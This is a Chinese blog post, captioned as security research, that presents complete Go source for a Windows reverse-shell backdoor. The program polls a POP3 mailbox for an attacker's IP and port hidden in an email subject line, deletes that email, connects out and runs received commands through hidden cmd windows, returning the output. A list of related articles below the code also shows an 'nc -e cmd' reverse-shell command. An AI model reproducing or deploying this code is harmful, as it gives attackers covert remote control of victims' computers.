golang写的反弹shell(自作孽不可活,切记,切记!)

简介: 版权声明:本文可能为博主原创文章,若标明出处可随便转载。 https://blog.
版权声明:本文可能为博主原创文章,若标明出处可随便转载。 https://blog.csdn.net/Jailman/article/details/78321872

仅作安全研究

package main
import (
    "os/exec"
    "go-pop3"
    "log"
    "strings"
    "net"
    // "fmt"
    "syscall"
    "bufio"
    "time"
)

//反弹shell函数
func reverseshell(addr string){

    if c,_:=net.Dial("tcp", addr); c != nil {
        for{
            status, _ := bufio.NewReader(c).ReadString('\n');
            //显示输入命令
            // fmt.Println(status)
            //输入exit命令退出
            if status == "exit\n" {
                break
            }
            //输入Ctrl+C时字符为空退出
            if status == "" {
                break
            }
            //执行命令返回结果
            cmd := exec.Command("cmd", "/C", status)
            cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
            out, _ := cmd.Output();
            c.Write([]byte(out))
        }
    }
}

//获取Email中的地址并调用反弹shell函数
func Get_Address_to_Rverse_shell(username string, password string){

    client, err := pop3.Dial("pop.sina.com:110")

    if err != nil {
        log.Fatalf("Error: %v\n", err)
    }

    defer func() {
        client.Quit()
        client.Close()
    }()

    if err = client.User(username); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Pass(password); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    var count int
    var size uint64

    if count, size, err = client.Stat(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    log.Printf("Count: %d, Size: %d\n", count, size)

    var content string

    if content, err = client.Retr(count); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Dele(count); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Noop(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    if err = client.Rset(); err != nil {
        log.Printf("Error: %v\n", err)
        return
    }

    //处理邮件object,获取地址
    list := strings.Split(content, "\r\n")
    for i := 0; i < len(list); i++ {
        line := list[i]
        if strings.Contains(line, "Subject:"){
            addrlist := strings.Split(line, ":")
            if len(addrlist) == 3 {
                temp_addr := addrlist[1] + ":" + addrlist[2]
                ADDR := strings.Replace(temp_addr, " ", "", -1)
                reverseshell(ADDR)
                // go reverseshell(ADDR)
            }
        }
    }
}


func main(){
    
    username := "xxx"
    password := "xxx"
    for{
        Get_Address_to_Rverse_shell(username, password)
        time.Sleep(10 * time.Second)
    }

}



目录
相关文章
|
6月前
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
157 0
|
6月前
|
监控 网络协议 Unix
Linux命令-nc(端口监控、文件传输、反弹shell等)
Linux命令-nc(端口监控、文件传输、反弹shell等)
418 0
|
安全 NoSQL 关系型数据库
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
今天的内容是ssrf漏洞的利用,环境选择的是discuz含有ssrf漏洞的版本,通过该漏洞来写入redis计划任务反弹shell,直接看操作
626 0
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
|
NoSQL 安全 网络协议
|
5月前
|
网络协议 Linux Shell
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
|
网络协议 安全 Shell
[笔记]Windows安全之《一》反弹Shell
Windows安全之《一》反弹Shell
876 0
[笔记]Windows安全之《一》反弹Shell
|
Shell
反弹shell脚本(php-reverse-shell)
反弹shell脚本(php-reverse-shell)
277 0
|
安全 网络协议 Shell
[笔记]Windows安全之《一》反弹Shell
[笔记]Windows安全之《一》反弹Shell
116 0
|
网络协议 Shell 网络安全
利用icmpsh建立icmp隧道反弹shell
利用icmpsh建立icmp隧道反弹shell
142 0
|
安全 Shell Linux
使用OpenSsl加密反弹shell
当我们使用nc等工具进行反弹shell时,流量都是没经过加密,直接传输的,管理员很容易就能发现我们的异常流量
257 0